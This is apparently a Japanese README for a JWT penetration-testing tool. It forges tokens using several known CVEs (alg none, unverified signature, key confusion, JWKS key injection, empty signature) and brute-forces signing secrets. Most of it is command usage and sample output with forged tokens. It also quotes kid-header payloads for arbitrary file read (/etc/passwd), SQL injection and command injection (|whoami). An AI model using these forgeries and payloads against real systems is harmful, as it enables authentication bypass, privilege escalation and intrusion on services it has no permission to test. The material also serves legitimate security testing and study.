
JWTペネトレーションテスト用に開発された脆弱性検証/鍵ブルートフォースツール。CVE-2015-9235/空白鍵/未検証署名攻撃/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042の結果をFUZZに使用可能。また、辞書/文字列列挙(JJWTを含む)によるブルートフォース(JWT Crack)も可能。
郑重声明:本資料に記載されている技術、アイデア、ツールは、安全を目的とした学習・交流のみに使用されるものであり、いかなる者もこれを違法目的や営利目的に使用してはなりません。違反した場合の結果は自己責任となります 。
JWT侵入テスト用に開発された脆弱性検証/鍵解読ツール。CVE-2015-9235/未検証署名攻撃/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042 の結果を生成し、FUZZに使用します。また、辞書や文字列列挙による解読も可能です。本ツールの適用シナリオ:- JWTを認証方式として使用する - 生成した改変PayloadのJWT結果をRepeater結果に貼り付けて検証し、Secretなしで利用可能なndayが存在するか判断する - ndayがない場合、JWTのSecretを解読する
本ツールの利点:- 対話型ガイドによるパラメータ実行 / コマンドライン引数による実行 → 2つの実行方法 - JWTに対する脆弱性の問題を多く考慮 - Issueに基づいて継続的にメンテナンス可能(ご存知の通り、テストで問題を見つけたら、最適化を加えるだけでスムーズに動作します)
# パッケージング
go mod tidy
cd cmd
go build.
# コマンドラインで実行
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
-df string
ファイル内のペイロードを使用するかどうか。デフォルトは空でロール内蔵辞書を使用(バインディングモード2)。モード3では空でない(バインディングモード3)
-em int
secretの暗号化モード NONE/MD5/16桁MD5/BASE64(デフォルトALL=>0、NONE=>1、MD5=>2、16桁MD5=>3、BASE64)
-fs string
解読用のデフォルト辞書。推測ルールに従って自分で変更可能(-fz 桁数と併用) (default "abcdefghijklmnopqrstuvwxyz0123456789")
-fz int
文字解読の最大文字数(文字解読で桁数を指定する場合は -fz)
-jbc string
変更するJWTのbody
-jm int
モード1:(Secret不明)Payload変更による権限昇格テスト モード2:(まずモード1をテスト)PayloadFuzz権限昇格テスト モード3:secretテキスト解読 モード4:secret文字解読(文字解読で桁数を指定する場合は -fz)モード5:JWTのSecretを検証 (default 1)
-jwt.txt string
JWT文字列
-mz int
文字解読の最小文字数(文字解読で桁数を指定する場合は -mz)。デフォルトは1 (default 1)
-pem string
公開鍵pemのパス(絶対パス推奨)
-pt int
モード選択:0はデフォルトで全て実行、1はalgをnoneに変更(CVE-2015-2951)、2は未検証署名による権限昇格、3は非対称暗号アルゴリズムを対称暗号アルゴリズムに変更(CVE-2016-10555)、4はJWKS公開鍵注入--鍵偽造(CVE-2018-0114)、5は空署名(CVE-2020-28042)
-s string
既知のSecret。デフォルトは空
# 対話型実行
.\cmd.exe
? 【事前選択】Secret不明の場合にJWTを変更して権限昇格テストを行う。モードを選択してください:
[·] [Use arrows to move, type to filter]
> モード1:(Secret不明)Payloadを変更して権限昇格テスト
モード2:(まずモード1をテスト)PayloadFuzz権限昇格テスト
モード3:secretテキスト解読
モード4:secret文字解読
モード5:JWTのSecretを検証
? あなたのJWT文字列を入力してください:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8
? 【モード1】【モード2】Secret不明の場合にJWTを変更して権限昇格テスト。具体的なテストモードを選択してください:
[·] [Use arrows to move, type to filter]
> モード0:デフォルトで全て実行
モード1:algをnoneに変更(CVE-2015-2951)
モード2:未検証署名による権限昇格
モード3:非対称暗号アルゴリズムを対称暗号アルゴリズムに変更(CVE-2016-10555)
モード4:JWKS公開鍵注入--鍵偽造(CVE-2018-0114)
モード5:空署名(CVE-2020-28042)
? 【モード1】【モード2】【モード5】では、JWTの第2部分のPayload内のJSON文字列を変更して権限昇格テストを行います。前の手順からPayload部分をコピーし、変更後にここに入力してください:
【モード1】【モード5】例:{"username":"admin","role":"admin"}
【モード2】例:{"usernmae":"admin","role":"FUZZ"}
【モード2】のFUZZは辞書置換位置です。変更しない場合はEnterキーを押すとデフォルトの元のPayloadが使用されます
? 収集した公開鍵pemのファイルパスを入力してください(絶対パスが望ましい)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem
==============SecretなしでPayloadを変更した権限昇格テスト===========
① ほとんどの場合、algがHS256の場合、JWTをnoneに変更することができる(CVE-2015-9235)
[+]【algがnone】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【algがNone】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【algがNoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【algがNONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② 未検証署名攻撃:Payloadを変更して検証しない
[+]【無効署名攻撃】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ 非対称暗号アルゴリズムを対称暗号アルゴリズムに変更(CVE-2016-10555)攻撃
[+] 【非対称暗号アルゴリズムを対称暗号アルゴリズムに変更】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ JWKS公開鍵注入--鍵偽造(CVE-2018-0114)攻撃
[+]【鍵偽造】: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJleGFtcGxlQGV4YW1wbGUuY29tIiwidXNlIjoic2lnIiwibiI6IjdLVktGZXpyeTlIclRFUERUcG5Xc2V3cnZQUkNsVE1pZXNGb1BXVlFtOTRMbFpwZzhmT1puMU4zMWNMMWdMUDROTExqek42cmFfRG8tQnJyZEVNMkpSeVVpUjUxUEpKTFUyRG9TdUNZcHlhTk53TG0zNzZEY09td1VyWlJ1SVVyMmlpWWJsVVJwaXl4SVl1SzJuWVIzYzBvalZGdnNJMmluc25PZnhIaTJvWkNWdS1SeDdVQkJIdDFRUUxzUEc4MDh4cVJDTU4yd1EwYklDNVZKWkl3YzhaQnVCNnVEUXRnSFc2UjBKc0hyU1BOVk9wY2NXbHJURlpGQjV0SVhxMUhJLUh1QnZ4WW53LWRYdU1FYWZSczFkQzg5Q3FfQ1FHSnY0M2h4SzZsQlZ4bnNQYWQ2QmpGSGZrSVQxdnk4LTNfSUJMT2J0Vnp0eDQyTmFGTzhzcVZrUSIsImUiOiJBUUFCIn19.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.6yhddpQy3gxajRYCc3HQHGflqLfyN3Ettre95E_u_BYtEl7-6058CKEdQjWT8CIPD7UGz6Mktx43o8Q2R5ILzkro2TkrE7ELW0--CDCf1bot--ho8LCovybl5TZtTGbSfE5F1zPiQCPnJTnQOe438VU7-MykBVFW690B1Ymk6YbmTzVyVS3mgdE252ocGHIyoG8EEPW3u3ZYXcB9rL30-mNLKmkctPHRCE-TXv7CZtLsrwK7SJTPgBh1jKtsdfFEXtpGrHOwaG2OOk5k8CzpIbWN9rt6lp4hlVaX-5Y1WWpPRHsmBCLVytZaJ2iQtLJjaZM659_hK_w5Os6sngyVNA
⑤ 空署名(CVE-2020-28042)攻撃
[+]【空署名】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
注意:すべてのJWT結果は実行ディレクトリ内のresult.txtに保存されています。Intruderでリプレイして有効なトークンかどうかをテストできます。
① ほとんどの場合、algがHS256の場合、JWTをnoneに変更する(CVE-2015-9235)
② 未検証署名攻撃:Payloadを変更して検証しない
③ 非対称暗号アルゴリズムを対称暗号アルゴリズムに変更(CVE-2016-10555)攻撃
④ JWKS公開鍵注入--鍵偽造(CVE-2018-0114)攻撃
⑤ 空署名(CVE-2020-28042)攻撃
そのままRepeaterでリプレイできます。
その他の特殊な脆弱性の発見:
JWTの最初のセグメントを解析する際、他のパラメータが検出された場合、他の脆弱性が発生する可能性がある旨のヒントが表示されます。
// Javaのjjwtテストコード
public class JwtExample {
private static void disableKeyLengthCheck() throws Exception {
// リフレクションを使用して SignatureAlgorithm.HS256 の minKeyLength を変更
Field minKeyLengthField = SignatureAlgorithm.class.getDeclaredField("minKeyLength");
minKeyLengthField.setAccessible(true);
minKeyLengthField.set(SignatureAlgorithm.HS256, 0); // 最小鍵長を0に設定
}
public static void main(String[] args) throws Exception {
disableKeyLengthCheck();
// 元の鍵
String secret = "test@123";
JwtBuilder jwtBuilder = Jwts.builder().setHeaderParam("kid", "your-key-id").setId("400").setSubject("test").setAudience("{\"abc\":\"123\"}").signWith(SignatureAlgorithm.HS256, secret.getBytes());
HashMap<String, Object> stringObjectHashMap = new HashMap<>();
stringObjectHashMap.put("test", "test");
jwtBuilder.addClaims(stringObjectHashMap);
System.out.println(jwtBuilder.compact());
}
}
生成結果: eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM



ここで関連する脆弱性(他の記事から引用しました。各自で分析してください)
1. 任意ファイル読み取り
KIDパラメータは鍵ファイルの読み取りに使用されますが、システムはユーザーが読み取りたいものが鍵ファイルであるかどうかを認識しません。そのため、パラメータがフィルタリングされていない場合、攻撃者はシステム上の任意のファイルを読み取ることができます。
{ "typ": "JWT", "kid": "/etc/passwd", "alg": "HS256"}
2、SQLインジェクション
KIDはデータベースからデータを抽出することもでき、その際にSQLインジェクション攻撃を引き起こす可能性があります。SQL文を構築してデータを取得したり、署名の検証をバイパスしたりすることができます。
KIDフィールドが存在する場合は注入を試みます。KID値をSQL文に変更し、usernameをTomに変更します。署名鍵はSQL文と同じにします。例えばSQL文内の3のbase64エンコード結果はMw==なので、署名鍵は3とします:
{ "typ": "JWT", "kid":"';select 'Mw==' from jwt_keys --"}
3. コマンドインジェクション
KIDパラメータのフィルタリングが不十分な場合、コマンドインジェクションの問題が発生する可能性がありますが、利用条件は厳しいです。サーバーのバックエンドがRubyを使用しており、鍵ファイルの読み取りにopen関数を使用している場合、パラメータを操作することでコマンドインジェクションが発生する可能性があります。
{ "typ": "JWT", "kid": "/path/to/key_file|whoami", "alg": "HS256"}
他のパラメータが出現した場合も、さらに分析することができます。
では、解読モジュールを見てみましょう
適当にネット上の辞書を使用します。
JWT1(secret 123456)をテスト:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg

JWT2(jjwt secret test@123)をテスト:
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

次にJWT1で文字列生成の効果をテスト:
ここで4〜6桁のすべての辞書を生成しました。入力は1234567890です。デモのために大きくする必要はありません。各自でテストしてください。高速です。

ここでカレントディレクトリにgenFuzzDict.txtが生成されます。生成量が非常に大きくなるため、本来はスレッドプールとプロデューサー・コンシューマーモデルを使用して処理しようとしましたが、実際の実行では4桁からメモリ不足でプログラムがクラッシュしました。そのため、テキスト保存・読み取り方式に改良し、プログラムは鍵に一致した時点でファイルの読み取りを終了し、自動的に終了します。
さらにMD5の例:
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.cVkiZiHhiB4galgAh6EB_mrIOd3gPqqPsuXZq9S2MQw

侵入テストサービスツールGithub:https://github.com/z-bool Venom
セキュリティ研究プロジェクトGithub:https://github.com/SpringKill-team SpringKill Team
阿呆攻防WeChat公式アカウント:
